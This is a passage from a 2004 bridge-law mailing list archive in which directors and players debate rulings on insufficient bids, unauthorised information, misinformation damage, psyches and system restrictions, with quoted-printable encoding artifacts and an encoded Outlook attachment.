2 cases In-Reply-To: <018801c4325f$5d173360$72700f04@cyberxp> Message-ID: On 5/5/04 2:11 AM, "mike dodson" wrote: > > Karel on May 2nd: > > Board 14 Dealer East > > S Q93 > H 5 > D AQJT42 > C 863 > West East > S K8 S AJT62 > H QT9642 H A3 > D 985 D 6 > C AQ C KJ542 > > S 754 > H KJ87 > D K73 > C T97 > > > Bidding > E S W N > 1S P 2H 3D > 4C(1) P 4S P > P P > > Result 4S+1 diamond 3 lead > > (1) Insufficient bid of 3C corrected to 4C's which is Gerber. 4S shows 2 > aces. > > N/S felt East acted on UI. East should have bid 4H which West is very > likely to pass. > 4H makes just 10 tricks. > > Your call. > > Karel on May 4th: >> >> Law 27B2 (Insufficient bid not accepted) >> "If either the insufficient bid or the lowest sufficient bid in the same >> denomination may have been conventional or if the bid is corrected by any >> other sufficient bid or by a pass, (penalty) the offender's partner must >> pass whenever it is his turn to call ....." >> >> +++ just to clear this up .. ".. MAY have been conventional ... " >> >> In the case sited, 4C may have been Gerber, but maybe not. How exactly is >> one supposed to rule ?? If you ask the OS side they will naturally deny > 4C >> is gerber. Do you check the Cc and if gerber is ticked assume its > possible >> it could be used here ?? If no CC what ?? >> >> K. > > The original post offers 4C gerber as fact, not possiblity. Case closed. > > I thought the rationale for this law was that if there is the possiblity > offender's > partner may consider whether the intended bid was conventional or not than > we avoid any UI problems by banning him. Often unduly harsh, IMO, but it > does > avoid just this problem. > > To answer the question: In the context of the offender's system and the > possible > misapprehensions that led offender to make the insufficeint bid, would > either the > original bid or its sufficent counterpart have been conventional. > Determining > such truths is left to the judgement of the director. Asking the offenders > about > their agreements is in order, asking what the offender really meant is > irrelevent > unless the answer is "conventional" so that no further investigation is > required. > > Mike Dodson > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml I always deal with these by first checking their convention card to see if it is clarified. I then take the player who made the insufficient bid away from the table and ask them what the sufficient bid (in this case 4C) will mean. I find that I always get an honest answer. I then apply the ruling as necessary. The one I find unfair is when both the insufficient bid and sufficient bid are conventional and carry the same meaning. In that case I believe that partner should not be barred. Regards, Jack From karel@esatclear.ie Wed May 5 19:06:06 2004 From: karel@esatclear.ie (Karel) Date: Wed, 5 May 2004 19:06:06 +0100 Subject: [blml] 2 cases In-Reply-To: Message-ID: I always deal with these by first checking their convention card to see if it is clarified. I then take the player who made the insufficient bid away from the table and ask them what the sufficient bid (in this case 4C) will mean. I find that I always get an honest answer. I then apply the ruling as necessary. The one I find unfair is when both the insufficient bid and sufficient bid are conventional and carry the same meaning. In that case I believe that partner should not be barred. +++ fair enough, one last question. Say in the above case 4C's is Gerber - do you now give the insufficient bid player the option of punting ?? (ie) bid's 4C's which is going to get passed is a bad choice so 4S, 4H or 5C is probably his best bet. K. From ereppert@rochester.rr.com Wed May 5 19:13:30 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 5 May 2004 14:13:30 -0400 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: <4098F1E8.7040301@hdw.be> Message-ID: On Wednesday, May 5, 2004, at 09:53 US/Eastern, Herman De Wael wrote: > Surely some piece of information is not UI as soon as it is > "obtained", and can no more regain it's AI nature. > Consider the following as example: LHO bids something, and partner > asks what it means. Surely I can use that same info (provided it is > something I would need) and the meaning of the bid does not turn into > UI for ever more, simply because my partner has asked about it first. The meaning of LHO's bid is not, I think, UI. However, if you infer from the fact that partner asked something about his hand, *that* is UI. At least, that's how I understand it. From svenpran@online.no Wed May 5 19:46:39 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 5 May 2004 20:46:39 +0200 Subject: [blml] 2 cases In-Reply-To: Message-ID: <000301c432d1$4d446c60$6900a8c0@WINXP> > Karel > I always deal with these by first checking their convention card to = see if > it is clarified. I then take the player who made the insufficient bid = away > from the table and ask them what the sufficient bid (in this case 4C) = will > mean. I find that I always get an honest answer. I then apply the = ruling > as > necessary. The one I find unfair is when both the insufficient bid and > sufficient bid are conventional and carry the same meaning. In that = case I > believe that partner should not be barred. >=20 > +++ fair enough, one last question. Say in the above case 4C's is = Gerber > - > do you now give the insufficient bid player the option of punting ?? = (ie) > bid's 4C's which is going to get passed is a bad choice so 4S, 4H or = 5C is > probably his best bet.=20 In order to understand and correctly apply Law 27B you should keep in = mind that the normal consequence of an insufficient bid which is not accepted = by LHO is (and has always been) that you must change it to a sufficient bid = or pass. After you have changed it your partner must pass for the remainder = of the auction. (A similar principle is included also in Laws 31 and 32). But Law 27B1(a) includes an exception to this general principle in that = on very specific conditions no restriction is imposed on the offender's partner.=20 However, it should always be remembered that this is an exception and = that enforcing offender's partner to pass is not a question of what is "fair" = but whether the conditions for allowing him to call normally are satisfied. Regards Sven From nsousa@fc.up.pt Tue May 4 11:08:01 2004 From: nsousa@fc.up.pt (Nuno Miguel Marques de Sousa) Date: Tue, 4 May 2004 11:08:01 +0100 Subject: [blml] Misinformation? Damage? Self-inflected? (Sven Pran) Message-ID: <6C60E0294337E84EBE5B198747277FA9364367@MAIL.fc.up.pt> This is a multi-part message in MIME format. ------_=_NextPart_001_01C431BF.AEB38AB6 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, I would be inclined to let the result stand. Here is my reasoning: East's damage seems self-inflicted: if NS had their bids, West should = indeed have 3-4 hearts and singleton or void diamond. HOWEVER, if West = couldn't scrap a raise on such a hand, then he would have to be = extremely weak, 3 points at best. In such a scenario, 3H is a pointless = bid on East's present hand, which is bound to accomplish absolutely = nothing... except to give NS the chance to double East! On the other = hand, if the opponents are misbidding, 3H is again a shot in the dark. So, my conclusion is 3H is a bad bid, regardless of what the opponents = are doing. The bid got what it deserved and so result should stand. Regards, Nuno Sousa ------------------ DEAL BELOW ---------------------- Swiss PAIRS(!), matchpoints, Norwegian fairly high (but not top) level: Dealer North, vulnerable all. K 4 T 7 A K Q 6 A T 8 4 2 J T 9 5 A 7 3 9 3 2 K Q J 8 6 J 9 5 3 T 8 7 4 K 7 J Q 8 6 2 A 5 4 2 Q 9 6 5 3 N E S W 1NT 2D X 2H 3D 3H X AP Facts: 1NT: 15-17 2D: Shows Hearts or Spades and clubs (Yeslek) X: Shows Diamonds (double for penalty) if 2D is conventional, otherwise shows majors. East claims he bid 3H on the "knowledge" that partner must be void in diamonds as both North and South each showed (at least) 4 Diamonds. He = =3D would not have bid 3H had he known that South indicated 4 hearts with = his =3D double. (With a pass from East at this stage North/South would probably = have =3D ended up in 3NT for one down: -100. The table result was three down: = +800). The 2D bid is alertable and probably was alerted by knocking the table. However there was disagreement between sides as to how noticeable this = =3D alert (in case) was made.=3D20 The (first) double by South was not alerted; it is alertable in Norway = =3D if it shows majors, not if it shows diamonds ("double for penalty"). I'll answer clarifying questions in case I have accidentally left out anything important and I shall welcome comments. (It is not accidental = =3D that I have left out any indication on how I ruled). -------------------------------------- ------_=_NextPart_001_01C431BF.AEB38AB6 Content-Type: application/ms-tnef; name="winmail.dat" Content-Transfer-Encoding: base64 eJ8+IgIKAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEEgAEANAAAAE1pc2luZm9ybWF0aW9uPyBE YW1hZ2U/IFNlbGYtaW5mbGVjdGVkPyAoU3ZlbiBQcmFuKQAuEgEFgAMADgAAANQHBQAEAAsACAAB AAIA+gABIIADAA4AAADUBwUABAALAAgAAQACAPoAAQmAAQAhAAAARjYyNzNCQjlDQjY0ODQ0Nzg5 MDIwNUE0QTExNDI0NDYA7wYBA5AGAIgNAAA3AAAAAwAmAAAAAAADADYAAAAAAEAAOQC2irOuvzHE AR4APQABAAAAAQAAAAAAAAACAUcAAQAAACoAAABjPXVzO2E9IDtwPUZDVVA7bD1NQUlMLTA0MDUw NDEwMDgwMVotMzk2MQAAAB4ASQABAAAAIwAAAGJsbWwgZGlnZXN0LCBWb2wgMSAjMTU0OCAtIDEw IG1zZ3MAAEAATgAAJzAjZjHEAR4AWgABAAAAFQAAAGJsbWwtYWRtaW5AcnRmbGIub3JnAAAAAAIB WwABAAAARwAAAAAAAACBKx+kvqMQGZ1uAN0BD1QCAAAAAGJsbWwtYWRtaW5AcnRmbGIub3JnAFNN VFAAYmxtbC1hZG1pbkBydGZsYi5vcmcAAAIBXAABAAAAGgAAAFNNVFA6QkxNTC1BRE1JTkBSVEZM Qi5PUkcAAAAeAF0AAQAAABcAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAAACAV4AAQAAAEsAAAAA AAAAgSsfpL6jEBmdbgDdAQ9UAgAAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAFNNVFAAYmxtbC1y ZXF1ZXN0QHJ0ZmxiLm9yZwAAAgFfAAEAAAAcAAAAU01UUDpCTE1MLVJFUVVFU1RAUlRGTEIuT1JH AB4AZgABAAAABQAAAFNNVFAAAAAAHgBnAAEAAAAVAAAAYmxtbC1hZG1pbkBydGZsYi5vcmcAAAAA HgBoAAEAAAAFAAAAU01UUAAAAAAeAGkAAQAAABcAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAAAe AHAAAQAAACMAAABibG1sIGRpZ2VzdCwgVm9sIDEgIzE1NDggLSAxMCBtc2dzAAACAXEAAQAAABsA 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 g6GjrJeDNnyzrBX/rVYowSGAhpVC4imBm3IeIH5yHmAJgJKcUG+4H1E4fQG54B4ANRABAAAANwAA ADw2QzYwRTAyOTQzMzdFODRFQkU1QjE5ODc0NzI3N0ZBOTM2NDM2N0BNQUlMLmZjLnVwLnB0PgAA HgBHEAEAAAAPAAAAbWVzc2FnZS9yZmM4MjIAAAsA8hABAAAAHwDzEAEAAAB8AAAATQBpAHMAaQBu AGYAbwByAG0AYQB0AGkAbwBuACUAMwBGACAARABhAG0AYQBnAGUAJQAzAEYAIABTAGUAbABmAC0A aQBuAGYAbABlAGMAdABlAGQAJQAzAEYAIAAoAFMAdgBlAG4AIABQAHIAYQBuACkALgBFAE0ATAAA AAsA9hAAAAAAQAAHMGyHqXG9McQBQAAIMGhPuK6/McQBAwDeP69vAAADAPE/CQQAAB4A+D8BAAAA HQAAAE51bm8gTWlndWVsIE1hcnF1ZXMgZGUgU291c2EAAAAAAgH5PwEAAABaAAAAAAAAANynQMjA QhAatLkIACsv4YIBAAAAAAAAAC9PPUZDVVAvT1U9RklSU1QgQURNSU5JU1RSQVRJVkUgR1JPVVAv Q049UkVDSVBJRU5UUy9DTj1OU09VU0EAAAAeAPo/AQAAABUAAABTeXN0ZW0gQWRtaW5pc3RyYXRv cgAAAAACAfs/AQAAAB4AAAAAAAAA3KdAyMBCEBq0uQgAKy/hggEAAAAAAAAALgAAAAMA/T/kBAAA AwAZQAAAAAADABpAAAAAAAMAHUAAAAAAAwAeQAAAAAAeADBAAQAAAAcAAABOU09VU0EAAB4AMUAB AAAABwAAAE5TT1VTQQAAHgAyQAEAAAAVAAAAYmxtbC1hZG1pbkBydGZsYi5vcmcAAAAAHgAzQAEA AAAXAAAAYmxtbC1yZXF1ZXN0QHJ0ZmxiLm9yZwAAHgA4QAEAAAAHAAAATlNPVVNBAAAeADlAAQAA AAIAAAAuAAAACwApAAAAAAALACMAAAAAAAMABhBD335yAwAHEHYGAAADABAQAAAAAAMAERAAAAAA HgAIEAEAAABlAAAASElBTEwsSVdPVUxEQkVJTkNMSU5FRFRPTEVUVEhFUkVTVUxUU1RBTkRIRVJF SVNNWVJFQVNPTklORzpFQVNUU0RBTUFHRVNFRU1TU0VMRi1JTkZMSUNURUQ6SUZOU0hBRFRIRQAA AAACAX8AAQAAADcAAAA8NkM2MEUwMjk0MzM3RTg0RUJFNUIxOTg3NDcyNzdGQTkzNjQzNjdATUFJ TC5mYy51cC5wdD4AAC3H ------_=_NextPart_001_01C431BF.AEB38AB6-- From ehaa@starpower.net Wed May 5 21:48:31 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 05 May 2004 16:48:31 -0400 Subject: [blml] Misinformation? Damage? Self-inflected? (Sven Pran) In-Reply-To: <6C60E0294337E84EBE5B198747277FA9364367@MAIL.fc.up.pt> Message-ID: <5.2.0.9.0.20040505164149.00a77750@pop.starpower.net> At 06:08 AM 5/4/04, Nuno wrote: >I would be inclined to let the result stand. Here is my reasoning: > >East's damage seems self-inflicted: if NS had their bids, West should >indeed have 3-4 hearts and singleton or void diamond. HOWEVER, if West >couldn't scrap a raise on such a hand, then he would have to be >extremely weak, 3 points at best. In such a scenario, 3H is a >pointless bid on East's present hand, which is bound to accomplish >absolutely nothing... except to give NS the chance to double East! On >the other hand, if the opponents are misbidding, 3H is again a shot in >the dark. > >So, my conclusion is 3H is a bad bid, regardless of what the opponents >are doing. The bid got what it deserved and so result should stand. "East's damage seems self-inflicted." "3H is a bad bid." "The bid got what it deserved." All true. But they do not suggest that the result should stand. In order to deny redress to an NOS as a result of their own actions, the action must have been "an egregious error" (ACBL) or "irrational, wild or gambling" (elsewhere). Those conditions are a *lot* stronger than merely that the NOS made a bad bid that got what it deserved. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From hermandw@hdw.be Wed May 5 22:05:52 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 05 May 2004 23:05:52 +0200 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: References: Message-ID: <40995730.8000108@hdw.be> No Ed, you misunderstood the purpose of my post: Ed Reppert wrote: > > On Wednesday, May 5, 2004, at 09:53 US/Eastern, Herman De Wael wrote: > >> Surely some piece of information is not UI as soon as it is >> "obtained", and can no more regain it's AI nature. >> Consider the following as example: LHO bids something, and partner >> asks what it means. Surely I can use that same info (provided it is >> something I would need) and the meaning of the bid does not turn into >> UI for ever more, simply because my partner has asked about it first. > > > The meaning of LHO's bid is not, I think, UI. However, if you infer from > the fact that partner asked something about his hand, *that* is UI. At > least, that's how I understand it. > > I don't consider the meaning UI, by any means. I was reacting to Grattan, who was not willing to consider the double of the original problem as anything other than UI, simply because it is partner who first told the player about it. And of course you are right. The fact that partner is interested in the meaning IS UI, always. The meaning itself is also UI, but the fact that the player is very likely (and I don't need a 100% certainty in a case like this) to also want to know the meaning turns this UI into AI. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From john@asimere.com Wed May 5 23:48:26 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 5 May 2004 23:48:26 +0100 Subject: [blml] 2 cases In-Reply-To: References: Message-ID: <6KkveZF68WmAFwsL@asimere.com> In article , Karel writes > >I always deal with these by first checking their convention card to see if >it is clarified. I then take the player who made the insufficient bid away >from the table and ask them what the sufficient bid (in this case 4C) will >mean. I find that I always get an honest answer. I then apply the ruling as >necessary. The one I find unfair is when both the insufficient bid and >sufficient bid are conventional and carry the same meaning. In that case I >believe that partner should not be barred. > >+++ fair enough, one last question. Say in the above case 4C's is Gerber - >do you now give the insufficient bid player the option of punting ?? (ie) >bid's 4C's which is going to get passed is a bad choice so 4S, 4H or 5C is >probably his best bet. I always explain to the player that since his partner is going to be barred for the rest of the auction he should consider "potting" the final contract. I see my job is to interpret the laws to the Players and reading them a tome of Grattanese obliqueness may not necessarily make them aware of the implications. > >K. > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From richard.hills@immi.gov.au Thu May 6 01:22:57 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 6 May 2004 10:22:57 +1000 Subject: [blml] 2 cases Message-ID: Karel asked: >>+++ Not 100% I'm getting this right. Are we >>saying that in the actual case I presented N/S >>should be given the benefit of the doubt and the >>score should have been adjusted to 4S + 1 both >>ways or just for E/W ?? WBF Code of Practice, page 5: >If the damaged side has wholly or partly caused >its own damage by irrational, wild or gambling >action, it does not receive relief in the >adjustment for such part of the damage as is >self-inflicted. > >The offending side, however, should be awarded >the score that it would have been allotted as >the normal consequence of its infraction. RJH notes: Because N/S would have scored +450 in 4S, absent E/W's MI infraction, E/W should definitely have had their score adjusted by the actual AC to -450, pursuant to Law 12C2. However, it seems that the actual AC's ruling was partially correct. Since the actual AC ruled that N/S were irrational in failing to cope with E/W's MI infraction, then the actual AC correctly gave N/S the table score of +200. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Thu May 6 01:42:32 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 6 May 2004 10:42:32 +1000 Subject: [blml] Double-meaning double Message-ID: Noel Bugeia: [snip] >Take my example of a hand with 8 HCP and 6 Hearts. > >If I fail to open that 2H (not 1H as you seem to >have assumed I meant), then if psychs are banned, >I MUST open this a weak 2 in Hearts, because if I >don't I will have obviously psyched. By some >purists definition I will have grossly misstated >my suit length or point strength by passing. [snip] Richard James Hills: In my opinion, Noel is propounding a novel argument. In Noel's example case of not opening a hand with 8 hcp and 6 hearts with a weak 2H, the question is not one of whether or not a psyche has occurred, the question is rather whether or not Noel has a concealed partnership agreement. My regular partner and I, instead, have a revealed partnership agreement that with 8 hcp and 6 hearts we systemically select a pass as dealer. Our opening 2-bid methods are clearly listed on our system card. Furthermore, if pard passes initially, then backs in with a 2H call later, I alert. I then explain, in response to an enquiry, that "Since we do not open weak twos in a major, pard may have a hand that normal people would have opened a weak 2H." Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Thu May 6 02:04:56 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 6 May 2004 11:04:56 +1000 Subject: [blml] System on (was Double-meaning) Message-ID: Noel Bugeia: [snip] >>If the ACBL can ban multi-2s, give them half a >>chance and they will insist that the hand given >>must be opened. The law makers will reach over >>my shoulder and insist that I bid X rather than >>Y because to allow me to do so might result in >>some paying punters giving up or some such >>nonsense. [snip] Jeff Meckstroth: [snip] >I am on the ACBL Conventions Committee in the US, >and we have been fairly restrictive, which has >been criticized in other countries. We feel that >it has to be that way, though, to protect the >weaker players, who make up the majority. > >However, I am strongly against what has happened >with the Macallan International Pairs. [snip] >we had won it two years in a row, and then the >following year they brought in the system >restrictions. [snip] >I like the competition, but Rodwell and I will >not play together in a system-restricted >tournament again. [snip] Richard James Hills: I support the "different strokes for different folks" systems policy advocated by Meckstroth. Bunnies need to be protected from unfair bamboozling by experts. But in an all-expert tournament, system restrictions should be minimal or non-existent. However, Noel is fortunate in being a member of a bridge club which has a significant percentage of Australia's best players. As a result, some championship events at Noel's club have no system restrictions whatsoever - even Forcing Pass or other HUM systems are permitted in those select championship events. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From grandeval@vejez.fsnet.co.uk Thu May 6 03:24:19 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 6 May 2004 03:24:19 +0100 Subject: Fw: [blml] Double-meaning double References: <000c01c432a7$8ef14400$122fc2cb@noeltsui0kso1i> Message-ID: <002e01c43314$83e1eac0$8b9b87d9@4nrw70j> Grattan Endicott To: Sent: Wednesday, May 05, 2004 2:47 PM Subject: RE: Fw: [blml] Double-meaning double That is not what I meant, and I think it was pretty plain. Where will it end? Take my example of a hand with 8 HCP and 6 Hearts. If I fail to open that 2H (not 1H as you seem to have assumed I meant), then if psychs are banned, I MUST open this a weak 2 in Hearts, because if I don't I will have obviously psyched. By some purists definition I will have grossly misstated my suit length or point strength by passing. If the ACBL can ban multi-2s, give them half a chance and they will insist that the hand given must be opened. The law makers will reach over my shoulder and insist that I bid X rather than Y because to allow me to do so might result in some paying punters giving up or some such nonsense. >< +=+ I do not think this has anything to do with banning psyches. A pass here does not convey to the table a meaning that grossly misdescribes honour strength or suit length. It conveys no information at all, and is nothing more than a judgement decision. If the ACBL were minded to ban such a pass no amount of tinkering with the laws would prevent them. There is no information available to me that would suggest an inclination on the part of the ACBL to go down the path you fear. ~ Grattan ~ +=+ From grandeval@vejez.fsnet.co.uk Thu May 6 03:47:09 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 6 May 2004 03:47:09 +0100 Subject: [blml] Active ethics (was Double-meaning) References: <005e01c43295$32a1d8c0$adbd87d9@4nrw70j> <4098F1E8.7040301@hdw.be> Message-ID: <002f01c43314$84ab5540$8b9b87d9@4nrw70j> Grattan Endicott To: "blml" Sent: Wednesday, May 05, 2004 2:53 PM Subject: Re: [blml] Active ethics (was Double-meaning) > John (MadDog) Probst wrote: > > Given this doubt I'm going to assume I wouldn't > > have noticed and concede the 800. Behind > > screens, as I said, and if I'd noticed I'd bid 2D. John > +=+ The difference is that behind screens no UI would have been conveyed to you from partner. +=+ > > < Herman wrote: > . Surely some piece of > information is not UI as soon as it is "obtained", and > can no more regain it's AI nature. Consider the > following as example: LHO bids something, and partner > asks what it means. Surely I can use that same info > (provided it is something I would need) and the > meaning of the bid does not turn into UI for ever more, > simply because my partner has asked about it first. > +=+ No it does not. However you must now point to a source which is not tainted by the doubt that your prior ignorance has been remedied by the UI from partner. The margin of doubt persists until you have clear fresh evidence from which to gain the information; you cannot step back of your own volition to a time before you received the UI . The UI from partner has removed that recourse from your options. ~ G ~ +=+ From richard.hills@immi.gov.au Thu May 6 04:34:07 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 6 May 2004 13:34:07 +1000 Subject: [blml] Constructive criticism Message-ID: At the Annual General Meeting of the Australian Bridge Federation, the chair of the Systems Committee reported: >a) Alerts [snip] >contained submissions from a number of >prominent players, a sprinkling of >administrators from the various states and >many rank and file ABF members. There were >also some general observations from overseas >people who had just 'surfed in'. In >retrospect I believe this review/feedback >process was beneficial to the final document >even though it delayed promulgation. [big snip] The ABF found that publication of its penultimate draft of its Alert regulation was beneficial in improving its ultimate Alert regulation. Therefore, the WBF LC might also find that publication of its penultimate draft of the 2006 Laws is beneficial in improving its ultimate version of the 2006 Laws. After all, the 1997 version of the Laws have a demonstrable flaw, due to insufficent analytical proof-reading being available *before* publication of the 1997 Laws. If many analysts had examined the penultimate draft of the 1997 Laws, one of them might have discovered the unintended consequences of Law 25B. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Thu May 6 05:17:33 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 6 May 2004 14:17:33 +1000 Subject: [blml] Double-meaning double Message-ID: John (MadDog) Probst -> [snip] >>>psyching against Danny in the first round of a >>>long match is "de rigeur" in London. He moans >>>like hell and it's worth a bushel of imps in >>>the later stages. I wouldn't bother except he >>>unintentionally psyches himself with a fair >>>degree of regularity. [snip] Richard James Hills -> I love the euphemism "unintentionally psyches" as a replacement for the dysphemism "stupidly forgets his own system". Nigel Guthrie -> >>I don't want a ban on psyches; in this case and >>similar cases, however, I'm more than dubious >>about John's argument and strategy: others will >>be better able to comment on whether it's >>consistent with current law. >> >>Hosea 8:7 -> >> >>"For they have sown the wind, and they shall >>reap the whirlwind." Richard James Hills -> MadDog's strategy of first-round psyching in a long match against Danny is "de rigeur" if and only if MadDog's partner is different in each long match against Danny, and if and only if each of MadDog's new partners is unaware of MadDog's strategy. Of course, now that MadDog 